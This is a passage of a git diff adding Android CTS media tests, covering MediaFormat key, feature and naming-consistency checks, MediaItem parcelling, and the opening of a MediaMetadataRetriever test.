+        assertGetIntegersThrowClassCastException(format, "string", "string");
+        assertGetLongsThrowClassCastException(format, "string", "string");
+        assertGetNumbersThrowClassCastException(format, "string", "string");
+
+        // We should not have a feature enabled for an integer value
+        try {
+            boolean value = format.getFeatureEnabled("string");
+            throw new AssertionError("read string as feature " + value);
+        } catch (IllegalArgumentException e) {
+        }
+
+        testSingleKeyRemoval(format, "string", MediaFormat.TYPE_STRING);
+    }
+
+    public void testByteBufferValue() throws Exception {
+        MediaFormat format = new MediaFormat();
+        ByteBuffer buffer = ByteBuffer.allocateDirect(123);
+        format.setByteBuffer("buffer", buffer);
+
+        assertEquals(buffer, format.getByteBuffer("buffer"));
+
+        // We should not be able to get a string value as any other type. Instead,
+        // we should receive a ClassCastException
+        assertGetFloatsThrowClassCastException(format, "buffer", "ByteBuffer");
+        assertGetIntegersThrowClassCastException(format, "buffer", "ByteBuffer");
+        assertGetLongsThrowClassCastException(format, "buffer", "ByteBuffer");
+        assertGetNumbersThrowClassCastException(format, "buffer", "ByteBuffer");
+        assertGetStringsThrowClassCastException(format, "buffer", "ByteBuffer");
+
+        // We should not have a feature enabled for an integer value
+        try {
+            boolean value = format.getFeatureEnabled("buffer");
+            throw new AssertionError("read ByteBuffer as feature " + value);
+        } catch (IllegalArgumentException e) {
+        }
+
+        testSingleKeyRemoval(format, "buffer", MediaFormat.TYPE_BYTE_BUFFER);
+    }
+
+    public void testNullStringValue() throws Exception {
+        MediaFormat format = new MediaFormat();
+        format.setString("null", null);
+        testNullOrMissingValue(format, "null");
+        testSingleKeyRemoval(format, "null", MediaFormat.TYPE_NULL);
+    }
+
+    public void testNullByteBufferValue() throws Exception {
+        MediaFormat format = new MediaFormat();
+        format.setByteBuffer("null", null);
+        testNullOrMissingValue(format, "null");
+        testSingleKeyRemoval(format, "null", MediaFormat.TYPE_NULL);
+    }
+
+    public void testMissingValue() throws Exception {
+        MediaFormat format = new MediaFormat();
+        // null values should be handled the same as missing values
+        assertEquals(MediaFormat.TYPE_NULL, format.getValueTypeForKey("missing"));
+        testNullOrMissingValue(format, "missing");
+    }
+
+    private void testSingleKeyRemoval(
+            MediaFormat format, String key, @MediaFormat.Type int type) {
+        assertEquals(type, format.getValueTypeForKey(key));
+        assertTrue(format.containsKey(key));
+
+        Set<String> keySet = format.getKeys();
+        assertEquals(1, keySet.size());
+        assertTrue(keySet.contains(key));
+
+        format.removeKey(key);
+        assertFalse(format.containsKey(key));
+
+        // test that keySet is connected to the format
+        assertFalse(keySet.contains(key));
+        assertEquals(0, keySet.size());
+    }
+
+    private static Set<String> asSet(String ... values) {
+        return new HashSet<>(Arrays.asList(values));
+    }
+
+    private void assertStringSetEquals(Set<String> set, String ... expected_members) {
+        Set<String> expected = new HashSet<>(Arrays.asList(expected_members));
+        assertEquals(expected, set);
+    }
+
+    public void testKeySetContainsAndRemove() {
+        MediaFormat format = new MediaFormat();
+        format.setInteger("int", 123);
+        format.setLong("long", 9876543210L);
+        format.setFloat("float", 321.f);
+        format.setFeatureEnabled("int", true);
+        format.setFeatureEnabled("long", false);
+        format.setFeatureEnabled("float", true);
+        format.setFeatureEnabled("string", false);
+
+        Set<String> keySet = format.getKeys();
+        // test size and contains
+        assertEquals(3, keySet.size());
+        assertTrue(keySet.contains("int"));
+        assertTrue(keySet.contains("long"));
+        assertTrue(keySet.contains("float"));
+        assertFalse(keySet.contains("string"));
+        assertStringSetEquals(keySet, "int", "long", "float");
+
+        // test adding an element
+        format.setString("string", "value");
+
+        // test that key set reflects format change in size and contains
+        assertEquals(4, keySet.size());
+        assertTrue(keySet.contains("int"));
+        assertTrue(keySet.contains("long"));
+        assertTrue(keySet.contains("float"));
+        assertTrue(keySet.contains("string"));
+
+        // test iterator
+        {
+            Set<String> toFind = asSet("int", "long", "float", "string");
+            Iterator<String> it = keySet.iterator();
+            while (it.hasNext()) {
+                String k = it.next();
+                assertTrue(toFind.remove(k));
+            }
+            assertEquals(0, toFind.size());
+        }
+
+        // remove via format
+        format.removeKey("float");
+
+        // test that key set reflects format change in size and contains
+        assertEquals(3, keySet.size());
+        assertTrue(keySet.contains("int"));
+        assertTrue(keySet.contains("long"));
+        assertFalse(keySet.contains("float"));
+        assertTrue(keySet.contains("string"));
+
+        // re-test iterator after removal
+        {
+            Set<String> toFind = asSet("int", "long", "string");
+            for (String k : keySet) {
+                assertTrue(toFind.remove(k));
+            }
+            assertEquals(0, toFind.size());
+        }
+
+        // test remove
+        keySet.remove("long");
+        assertEquals(2, keySet.size());
+        assertTrue(keySet.contains("int"));
+        assertFalse(keySet.contains("long"));
+        assertFalse(keySet.contains("float"));
+        assertTrue(keySet.contains("string"));
+        assertTrue(format.containsKey("int"));
+        assertFalse(format.containsKey("long"));
+        assertFalse(format.containsKey("float"));
+        assertTrue(format.containsKey("string"));
+
+        // test iterator by its interface as well as its remove
+        {
+            Set<String> toFind = asSet("int", "string");
+            Iterator<String> it = keySet.iterator();
+            while (it.hasNext()) {
+                String k = it.next();
+                assertTrue(toFind.remove(k));
+                if (k.equals("int")) {
+                    it.remove();
+                }
+            }
+            assertEquals(0, toFind.size());
+        }
+
+        // test that removing via iterator also removes from format
+        assertEquals(1, keySet.size());
+        assertFalse(keySet.contains("int"));
+        assertFalse(keySet.contains("long"));
+        assertFalse(keySet.contains("float"));
+        assertTrue(keySet.contains("string"));
+        assertFalse(format.containsKey("int"));
+        assertFalse(format.containsKey("long"));
+        assertFalse(format.containsKey("float"));
+        assertTrue(format.containsKey("string"));
+
+        // verify that features are still present
+        assertTrue(format.getFeatureEnabled("int"));
+        assertFalse(format.getFeatureEnabled("long"));
+        assertTrue(format.getFeatureEnabled("float"));
+        assertFalse(format.getFeatureEnabled("string"));
+    }
+
+    public void testFeatureKeySetContainsAndRemove() {
+        MediaFormat format = new MediaFormat();
+        format.setInteger("int", 123);
+        format.setLong("long", 9876543210L);
+        format.setFloat("float", 321.f);
+        format.setString("string", "value");
+        format.setFeatureEnabled("int", true);
+        format.setFeatureEnabled("long", false);
+        format.setFeatureEnabled("float", true);
+
+        Set<String> featureSet = format.getFeatures();
+        // test size and contains
+        assertEquals(3, featureSet.size());
+        assertTrue(featureSet.contains("int"));
+        assertTrue(featureSet.contains("long"));
+        assertTrue(featureSet.contains("float"));
+        assertFalse(featureSet.contains("string"));
+        assertStringSetEquals(featureSet, "int", "long", "float");
+
+        // test adding an element
+        format.setFeatureEnabled("string", false);
+
+        // test that key set reflects format change in size and contains
+        assertEquals(4, featureSet.size());
+        assertTrue(featureSet.contains("int"));
+        assertTrue(featureSet.contains("long"));
+        assertTrue(featureSet.contains("float"));
+        assertTrue(featureSet.contains("string"));
+
+        // test iterator
+        {
+            Set<String> toFind = asSet("int", "long", "float", "string");
+            Iterator<String> it = featureSet.iterator();
+            while (it.hasNext()) {
+                String k = it.next();
+                assertTrue(toFind.remove(k));
+            }
+            assertEquals(0, toFind.size());
+        }
+
+        // test that features cannot be removed via format as keys, even though for backward
+        // compatibility, they can be accessed as integers and can be found via containsKey
+        format.removeKey("feature-float");
+        assertEquals(4, featureSet.size());
+        assertTrue(featureSet.contains("float"));
+
+        format.removeFeature("float");
+
+        // TODO: deprecate this usage
+        assertEquals(1, format.getInteger("feature-int"));
+        assertEquals(0, format.getInteger("feature-long"));
+        assertTrue(format.containsKey("feature-int"));
+
+        // Along these lines also verify that this is not true for the getKeys() set
+        assertFalse(format.getKeys().contains("feature-int"));
+
+        // Also verify that getKeys() cannot be used to remove a feature
+        assertFalse(format.getKeys().remove("feature-int"));
+
+        // test that key set reflects format change in size and contains
+        assertEquals(3, featureSet.size());
+        assertTrue(featureSet.contains("int"));
+        assertTrue(featureSet.contains("long"));
+        assertFalse(featureSet.contains("float"));
+        assertTrue(featureSet.contains("string"));
+
+        // re-test iterator after removal
+        {
+            Set<String> toFind = asSet("int", "long", "string");
+            for (String k : featureSet) {
+                assertTrue(toFind.remove(k));
+            }
+            assertEquals(0, toFind.size());
+        }
+
+        // test remove via set
+        featureSet.remove("long");
+        assertEquals(2, featureSet.size());
+        assertTrue(featureSet.contains("int"));
+        assertFalse(featureSet.contains("long"));
+        assertFalse(featureSet.contains("float"));
+        assertTrue(featureSet.contains("string"));
+
+        assertTrue(format.containsFeature("int"));
+        assertFalse(format.containsFeature("long"));
+        assertFalse(format.containsFeature("float"));
+        assertTrue(format.containsFeature("string"));
+
+        assertTrue(format.getFeatureEnabled("int"));
+        try {
+            format.getFeatureEnabled("long");
+            fail("should not contain feature long");
+        } catch (IllegalArgumentException e) {}
+        try {
+            format.getFeatureEnabled("float");
+            fail("should not contain feature float");
+        } catch (IllegalArgumentException e) {}
+        assertFalse(format.getFeatureEnabled("string"));
+
+        // test iterator by its interface as well as its remove
+        {
+            Set<String> toFind = asSet("int", "string");
+            Iterator<String> it = featureSet.iterator();
+            while (it.hasNext()) {
+                String k = it.next();
+                assertTrue(toFind.remove(k));
+                if (k.equals("int")) {
+                    it.remove();
+                }
+            }
+            assertEquals(0, toFind.size());
+        }
+
+        // test that removing via iterator also removes from format
+        assertEquals(1, featureSet.size());
+        assertFalse(featureSet.contains("int"));
+        assertFalse(featureSet.contains("long"));
+        assertFalse(featureSet.contains("float"));
+        assertTrue(featureSet.contains("string"));
+
+        assertFalse(format.containsFeature("int"));
+        assertFalse(format.containsFeature("long"));
+        assertFalse(format.containsFeature("float"));
+        assertTrue(format.containsFeature("string"));
+
+        try {
+            format.getFeatureEnabled("int");
+            fail("should not contain feature int");
+        } catch (IllegalArgumentException e) {}
+        try {
+            format.getFeatureEnabled("long");
+            fail("should not contain feature long");
+        } catch (IllegalArgumentException e) {}
+        try {
+            format.getFeatureEnabled("float");
+            fail("should not contain feature float");
+        } catch (IllegalArgumentException e) {}
+        assertFalse(format.getFeatureEnabled("string"));
+
+        // verify that keys are still present
+        assertEquals(123, format.getInteger("int"));
+        assertEquals(9876543210L, format.getLong("long"));
+        assertEquals(321.f, format.getFloat("float"));
+        assertEquals("value", format.getString("string"));
+    }
+
+    private void testNullOrMissingValue(MediaFormat format, String key) throws Exception {
+        // We should not be able to get a string value as any primitive type. Instead,
+        // we should receive a NullPointerException
+        try {
+            int value = format.getInteger(key);
+            throw new AssertionError("read " + key + " as int " + value);
+        } catch (NullPointerException e) {
+        }
+
+        try {
+            long value = format.getLong(key);
+            throw new AssertionError("read " + key + " as long " + value);
+        } catch (NullPointerException e) {
+        }
+
+        try {
+            float value = format.getFloat(key);
+            throw new AssertionError("read " + key + " as float " + value);
+        } catch (NullPointerException e) {
+        }
+
+        // We should get null for all object types (ByteBuffer, Number, String)
+        assertNull(format.getNumber(key));
+        assertNull(format.getString(key));
+        assertNull(format.getByteBuffer(key));
+
+        // We should get the default value for all getters with default
+        assertEquals(123, format.getInteger(key, 123));
+        assertEquals(321L, format.getLong(key, 321L));
+        assertEquals(321.f, format.getFloat(key, 321.f));
+        assertEquals(321.f, format.getNumber(key, 321.f));
+        assertEquals("value", format.getString(key, "value"));
+        assertEquals(defaultByteBuffer, format.getByteBuffer(key, defaultByteBuffer));
+
+        // We should not have a feature enabled for a null value
+        try {
+            boolean value = format.getFeatureEnabled(key);
+            throw new AssertionError("read " + key + " as feature " + value);
+        } catch (IllegalArgumentException e) {
+        }
+    }
+
+    public void testMediaFormatConstructors() {
+        MediaFormat format;
+        {
+            String[] audioMimeTypes = { MediaFormat.MIMETYPE_AUDIO_AAC,
+                    MediaFormat.MIMETYPE_AUDIO_MPEGH_MHA1, MediaFormat.MIMETYPE_AUDIO_MPEGH_MHM1 };
+            for (String mime : audioMimeTypes) {
+                format = MediaFormat.createAudioFormat(mime, 48000, 6);
+                assertEquals(mime, format.getString(MediaFormat.KEY_MIME));
+                assertEquals(48000, format.getInteger(MediaFormat.KEY_SAMPLE_RATE));
+                assertEquals(6, format.getInteger(MediaFormat.KEY_CHANNEL_COUNT));
+                assertEquals(3, format.getKeys().size());
+                assertEquals(0, format.getFeatures().size());
+            }
+        }
+
+        {
+            format = MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 1920, 1080);
+            assertEquals(MediaFormat.MIMETYPE_VIDEO_AVC, format.getString(MediaFormat.KEY_MIME));
+            assertEquals(1920, format.getInteger(MediaFormat.KEY_WIDTH));
+            assertEquals(1080, format.getInteger(MediaFormat.KEY_HEIGHT));
+            assertEquals(3, format.getKeys().size());
+            assertEquals(0, format.getFeatures().size());
+        }
+
+        {
+            format = MediaFormat.createSubtitleFormat(MediaFormat.MIMETYPE_TEXT_VTT, "und");
+            assertEquals(MediaFormat.MIMETYPE_TEXT_VTT, format.getString(MediaFormat.KEY_MIME));
+            assertEquals("und", format.getString(MediaFormat.KEY_LANGUAGE));
+            assertEquals(2, format.getKeys().size());
+            assertEquals(0, format.getFeatures().size());
+
+            format.setFeatureEnabled("feature1", false);
+
+            // also test dup
+            MediaFormat other = new MediaFormat(format);
+            format.setString(MediaFormat.KEY_LANGUAGE, "un");
+            other.setInteger(MediaFormat.KEY_IS_DEFAULT, 1);
+            other.setFeatureEnabled("feature1", true);
+
+            assertEquals(MediaFormat.MIMETYPE_TEXT_VTT, format.getString(MediaFormat.KEY_MIME));
+            assertEquals("un", format.getString(MediaFormat.KEY_LANGUAGE));
+            assertEquals(2, format.getKeys().size());
+            assertFalse(format.getFeatureEnabled("feature1"));
+            assertEquals(1, format.getFeatures().size());
+
+            assertEquals(MediaFormat.MIMETYPE_TEXT_VTT, other.getString(MediaFormat.KEY_MIME));
+            assertEquals("und", other.getString(MediaFormat.KEY_LANGUAGE));
+            assertEquals(1, other.getInteger(MediaFormat.KEY_IS_DEFAULT));
+            assertEquals(3, other.getKeys().size());
+            assertTrue(other.getFeatureEnabled("feature1"));
+            assertEquals(1, other.getFeatures().size());
+        }
+    }
+
+    /**
+     * Check MediaFormat key name and string value consistency.
+     *
+     * The canonical key reads something like this:
+     * KEY_SOMETHING_HERE = "something-here";
+     *
+     * An exclusion list allows arbitrary keys as needed.
+     *
+     * This test uses introspection to find the key fields.
+     *
+     * @throws Exception
+     */
+    public void testKeyConsistency() throws Exception {
+        // Legacy MediaFormat keys inconsistent with the canonical format.
+        final Set<String> exclusions = Stream.of(
+            // <aac-drc-[cut-level]>
+            "KEY_AAC_DRC_ATTENUATION_FACTOR",
+            // <aac-drc-boost-[level]>
+            "KEY_AAC_DRC_BOOST_FACTOR",
+            // <aac-[target-ref]-level>
+            "KEY_AAC_DRC_TARGET_REFERENCE_LEVEL",
+            // <...c-max-output-channel[_]count>
+            "KEY_AAC_MAX_OUTPUT_CHANNEL_COUNT",
+            // <bit[]rate>
+            "KEY_BIT_RATE",
+            // <create-input-[buffers]-suspended>
+            "KEY_CREATE_INPUT_SURFACE_SUSPENDED",
+            // <duration[u]s>
+            "KEY_DURATION",
+            // <grid-col[]s>
+            "KEY_GRID_COLUMNS",
+            // <h[w]-av-sync-id>
+            "KEY_HARDWARE_AV_SYNC_ID",
+            // <max-bit[]rate>
+            "KEY_MAX_BIT_RATE",
+            // <max-b[]frames>
+            "KEY_MAX_B_FRAMES",
+            // <[sar]-height>
+            "KEY_PIXEL_ASPECT_RATIO_HEIGHT",
+            // <[sar]-width>
+            "KEY_PIXEL_ASPECT_RATIO_WIDTH",
+            // <prepend-[sps-pps-to-idr]-frames>
+            "KEY_PREPEND_HEADER_TO_SYNC_FRAMES",
+            // <...h-blank-buffers-on-s[hutdown]>
+            "KEY_PUSH_BLANK_BUFFERS_ON_STOP",
+            // <rotation[-degrees]>
+            "KEY_ROTATION",
+            // <t[s-schema]>
+            "KEY_TEMPORAL_LAYERING"
+            ).collect(Collectors.toCollection(HashSet::new));
+
+        ArrayList<String> failures = new ArrayList<>();
+        final Field[] fields = MediaFormat.class.getFields();
+        for (Field field : fields) {
+            final String key = field.getName();
+            if (!key.startsWith("KEY_")) continue;
+            if (exclusions.contains(key)) continue;
+
+            if (!key.equals(key.toUpperCase())) {
+                failures.add("Key field " + key + " must be upper case");
+            }
+            final String value = (String)field.get(null);
+            assertEquals("String value " + value + " must be lower case",
+                    value.toLowerCase(), value);
+
+            // What do we expect the key should look like for the value?
+            final String checkKey = "KEY_" + value.toUpperCase().replace('-', '_');
+            if (!checkKey.equals(key)) {
+                failures.add("Key field " + key + " should represent value " + value
+                        + " expected(" + checkKey + ")");
+            }
+        }
+        // There may be special vendor keys that are public.
+        // Log failures but don't fail test.
+        logFailures("testKeyConsistency", failures);
+    }
+
+    /**
+     * Check MediaFormat mime type field name and string value consistency.
+     *
+     * The typical mime type field reads as follows:
+     * MIMETYPE_CATEGORY_ANYCASE_HERE = "category/anYCaSE[-.+]HeRE";
+     *
+     * See here for the Internet Assigned Numbers Authority (IANA) list of media mime types:
+     * https://www.iana.org/assignments/media-types/media-types.xhtml
+     *
+     * An exclusion list allows arbitrary keys as needed.
+     *
+     * This test uses introspection to find the mime type fields.
+     *
+     * @throws Exception
+     */
+    public void testMimeTypeConsistency() throws Exception {
+        // Legacy inconsistent mime types with the exception
+        final Set<String> exclusions = Stream.of(
+                // <audio/[mp4a-latm]>
+                "MIMETYPE_AUDIO_AAC",
+                // <audio/[3gpp]>
+                "MIMETYPE_AUDIO_AMR_NB",
+                // audio/mhm1
+                "MIMETYPE_AUDIO_MPEGH_MHM1",
+                // audio/mha1
+                "MIMETYPE_AUDIO_MPEGH_MHA1",
+                // <audio/[]gsm>
+                "MIMETYPE_AUDIO_MSGSM",
+                // <image/[vnd.android.]heic>
+                "MIMETYPE_IMAGE_ANDROID_HEIC",
+                // <[application/x-]subrip>
+                "MIMETYPE_TEXT_SUBRIP",
+                // <video/av[0]1>
+                "MIMETYPE_VIDEO_AV1",
+                // <video/[3gpp]>
+                "MIMETYPE_VIDEO_H263",
+                // <video/mp[4v-es]>
+                "MIMETYPE_VIDEO_MPEG4",
+                // <video/[x-vnd.on2.]vp8>
+                "MIMETYPE_VIDEO_VP8",
+                // <video/[x-vnd.on2.]vp9>
+                "MIMETYPE_VIDEO_VP9"
+        ).collect(Collectors.toCollection(HashSet::new));
+
+        ArrayList<String> failures = new ArrayList<>();
+        final Field[] fields = MediaFormat.class.getFields();
+        for (Field field : fields) {
+            final String mimeType = field.getName();
+
+            if (!mimeType.startsWith("MIMETYPE_")) continue;
+            if (exclusions.contains(mimeType)) continue;
+
+            if (!mimeType.equals(mimeType.toUpperCase())) {
+                failures.add("mimeType field " + mimeType + " must be upper case");
+                continue;
+            }
+            final String value = (String)field.get(null);
+
+            // What do we expect the mime type field should be for the value?
+            final String checkMime = "MIMETYPE_"
+                    + value.toUpperCase().replace('/', '_').replace('-', '_')
+                            .replace('.', '_').replace('+', '_');
+            if (!mimeType.equals(checkMime)) {
+                failures.add("Mime type " + mimeType
+                        + " should represent value " + value
+                        + " expected(" + checkMime + ")");
+            }
+        }
+        // There may be special vendor keys that are public.
+        // Log failures but don't fail test.
+        logFailures("testMimeTypeConsistency", failures);
+    }
+
+    private static final String REPORT_LOG_NAME = "CtsMediaTestCases";
+    private static final int REPORT_SUMMARY_MAX_KEY_LEN = 240;
+
+    /**
+     * Log failures on atest, but don't raise an exception or fail CTS.
+     *
+     * This part is tricky:
+     * 1) We create a device report log so it is visible on the host.
+     * 2) We also write to logcat.
+     */
+    private static void logFailures(@NonNull String logName, @NonNull List<String> failures) {
+        if (failures.size() > 0) {
+            DeviceReportLog log = new DeviceReportLog(REPORT_LOG_NAME, logName);
+            StringBuilder sb = new StringBuilder("FAILED ON: ");
+            int i = 0;
+            for (String failure : failures) {
+                Log.w(TAG, failure);
+                log.addValue("failure_" + i++, failure, ResultType.NEUTRAL, ResultUnit.NONE);
+                sb.append("[" + failure + "] ");
+            }
+            if (sb.length() > REPORT_SUMMARY_MAX_KEY_LEN) {
+                sb.setLength(REPORT_SUMMARY_MAX_KEY_LEN);
+            }
+            log.setSummary(sb.toString(), failures.size(),
+                    ResultType.LOWER_BETTER, ResultUnit.COUNT);
+            log.submit(InstrumentationRegistry.getInstrumentation());
+        }
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaItemTest.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaItemTest.java
new file mode 100644
index 0000000..747954b
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaItemTest.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.misc.cts;
+
+import android.media.MediaDescription;
+import android.media.browse.MediaBrowser.MediaItem;
+import android.media.cts.NonMediaMainlineTest;
+import android.os.Parcel;
+import android.test.AndroidTestCase;
+import android.text.TextUtils;
+
+/**
+ * Test {@link android.media.browse.MediaBrowser.MediaItem}.
+ */
+@NonMediaMainlineTest
+public class MediaItemTest extends AndroidTestCase {
+    private static final String DESCRIPTION = "test_description";
+    private static final String MEDIA_ID = "test_media_id";
+    private static final String TITLE = "test_title";
+    private static final String SUBTITLE = "test_subtitle";
+
+    public void testBrowsableMediaItem() {
+        MediaDescription description = new MediaDescription.Builder()
+                .setDescription(DESCRIPTION).setMediaId(MEDIA_ID)
+                .setTitle(TITLE).setSubtitle(SUBTITLE).build();
+        MediaItem mediaItem = new MediaItem(description, MediaItem.FLAG_BROWSABLE);
+
+        assertEquals(description.toString(), mediaItem.getDescription().toString());
+        assertEquals(MEDIA_ID, mediaItem.getMediaId());
+        assertEquals(MediaItem.FLAG_BROWSABLE, mediaItem.getFlags());
+        assertTrue(mediaItem.isBrowsable());
+        assertFalse(mediaItem.isPlayable());
+        assertEquals(0, mediaItem.describeContents());
+        assertFalse(TextUtils.isEmpty(mediaItem.toString()));
+
+        // Test writeToParcel
+        Parcel p = Parcel.obtain();
+        mediaItem.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        MediaItem mediaItemFromParcel = MediaItem.CREATOR.createFromParcel(p);
+        assertNotNull(mediaItemFromParcel);
+        assertEquals(mediaItem.getFlags(), mediaItemFromParcel.getFlags());
+        assertEquals(description.toString(), mediaItem.getDescription().toString());
+        p.recycle();
+    }
+
+    public void testPlayableMediaItem() {
+        MediaDescription description = new MediaDescription.Builder()
+                .setDescription(DESCRIPTION).setMediaId(MEDIA_ID)
+                .setTitle(TITLE).setSubtitle(SUBTITLE).build();
+        MediaItem mediaItem = new MediaItem(description, MediaItem.FLAG_PLAYABLE);
+
+        assertEquals(description.toString(), mediaItem.getDescription().toString());
+        assertEquals(MEDIA_ID, mediaItem.getMediaId());
+        assertEquals(MediaItem.FLAG_PLAYABLE, mediaItem.getFlags());
+        assertFalse(mediaItem.isBrowsable());
+        assertTrue(mediaItem.isPlayable());
+        assertEquals(0, mediaItem.describeContents());
+        assertFalse(TextUtils.isEmpty(mediaItem.toString()));
+
+        // Test writeToParcel
+        Parcel p = Parcel.obtain();
+        mediaItem.writeToParcel(p, 0);
+        p.setDataPosition(0);
+
+        MediaItem mediaItemFromParcel = MediaItem.CREATOR.createFromParcel(p);
+        assertNotNull(mediaItemFromParcel);
+        assertEquals(mediaItem.getFlags(), mediaItemFromParcel.getFlags());
+        assertEquals(description.toString(), mediaItem.getDescription().toString());
+        p.recycle();
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/MediaMetadataRetrieverTest.java b/tests/tests/media/misc/src/android/media/misc/cts/MediaMetadataRetrieverTest.java
new file mode 100644
index 0000000..f170dc8
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/MediaMetadataRetrieverTest.java
@@ -0,0 +1,1306 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import static android.media.MediaMetadataRetriever.OPTION_CLOSEST;
+import static android.media.MediaMetadataRetriever.OPTION_CLOSEST_SYNC;
+import static android.media.MediaMetadataRetriever.OPTION_NEXT_SYNC;
+import static android.media.MediaMetadataRetriever.OPTION_PREVIOUS_SYNC;
+
+import android.content.pm.PackageManager;
+import android.content.res.AssetFileDescriptor;
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.graphics.Color;
+import android.graphics.Rect;
+import android.hardware.display.DisplayManager;
+import android.media.MediaDataSource;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.MediaMetadataRetriever;
+import android.media.cts.CodecUtils;
+import android.media.cts.Preconditions;
+import android.media.cts.TestMediaDataSource;
+import android.media.cts.TestUtils;
+import android.os.ParcelFileDescriptor;
+import android.net.Uri;
+import android.os.Build;
+import android.os.Environment;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.AndroidTestCase;
+import android.util.Log;
+import android.view.Display;
+
+import androidx.test.filters.SmallTest;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.Closeable;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.function.Function;
+
+@Presubmit
+@SmallTest
+@RequiresDevice
+@AppModeFull(reason = "No interaction with system server")
+public class MediaMetadataRetrieverTest extends AndroidTestCase {
+    private static final String TAG = "MediaMetadataRetrieverTest";
+    private static final boolean SAVE_BITMAP_OUTPUT = false;
+    private static final String TEST_MEDIA_FILE = "retriever_test.3gp";
+
+    static final String mInpPrefix = WorkDir.getMediaDirString();
+    protected MediaMetadataRetriever mRetriever;
+    private PackageManager mPackageManager;
+
+    protected static final int SLEEP_TIME = 1000;
+    private static int BORDER_WIDTH = 16;
+    private static Color COLOR_BLOCK =
+            Color.valueOf(1.0f, 1.0f, 1.0f);
+    private static Color[] COLOR_BARS = {
+            Color.valueOf(0.0f, 0.0f, 0.0f),
+            Color.valueOf(0.0f, 0.0f, 0.64f),
+            Color.valueOf(0.0f, 0.64f, 0.0f),
+            Color.valueOf(0.0f, 0.64f, 0.64f),
+            Color.valueOf(0.64f, 0.0f, 0.0f),
+            Color.valueOf(0.64f, 0.0f, 0.64f),
+            Color.valueOf(0.64f, 0.64f, 0.0f),
+    };
+    private boolean mIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
+    private boolean mIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mRetriever = new MediaMetadataRetriever();
+        mPackageManager = getContext().getPackageManager();
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        mRetriever.release();
+        File file = new File(Environment.getExternalStorageDirectory(), TEST_MEDIA_FILE);
+        if (file.exists()) {
+            file.delete();
+        }
+    }
+
+    protected AssetFileDescriptor getAssetFileDescriptorFor(final String res)
+            throws FileNotFoundException {
+        File inpFile = new File(mInpPrefix + res);
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        ParcelFileDescriptor parcelFD =
+                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
+        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
+    }
+
+    protected void setDataSourceFd(final String res) {
+        try {
+            AssetFileDescriptor afd = getAssetFileDescriptorFor(res);
+            mRetriever.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+            afd.close();
+        } catch (Exception e) {
+            fail("Unable to open file");
+        }
+    }
+
+    protected TestMediaDataSource setDataSourceCallback(final String res) {
+        TestMediaDataSource ds = null;
+        try {
+            AssetFileDescriptor afd = getAssetFileDescriptorFor(res);
+            ds = TestMediaDataSource.fromAssetFd(afd);
+            mRetriever.setDataSource(ds);
+        } catch (Exception e) {
+            fail("Unable to open file");
+        }
+        return ds;
+    }
+
+    protected TestMediaDataSource getFaultyDataSource(final String res, boolean throwing) {
+        TestMediaDataSource ds = null;
+        try {
+            AssetFileDescriptor afd = getAssetFileDescriptorFor(res);
+            ds = TestMediaDataSource.fromAssetFd(afd);
+            if (throwing) {
+                ds.throwFromReadAt();
+            } else {
+                ds.returnFromReadAt(-2);
+            }
+        } catch (Exception e) {
+            fail("Unable to open file");
+        }
+        return ds;
+    }
+
+    public void testAudioMetadata() {
+        setDataSourceCallback("audio_with_metadata.mp3");
+
+        assertEquals("Title was other than expected",
+            "Chimey Phone",
+            mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_TITLE));
+
+        assertEquals("Artist was other than expected",
+            "Some artist",
+            mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_ARTIST));
+
+        assertNull("Album artist was unexpectedly present",
+            mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_ALBUMARTIST));
+
+        assertNull("Author was unexpectedly present",
+            mRetriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_AUTHOR));
+
+        assertNull("Composer was unexpectedly present",
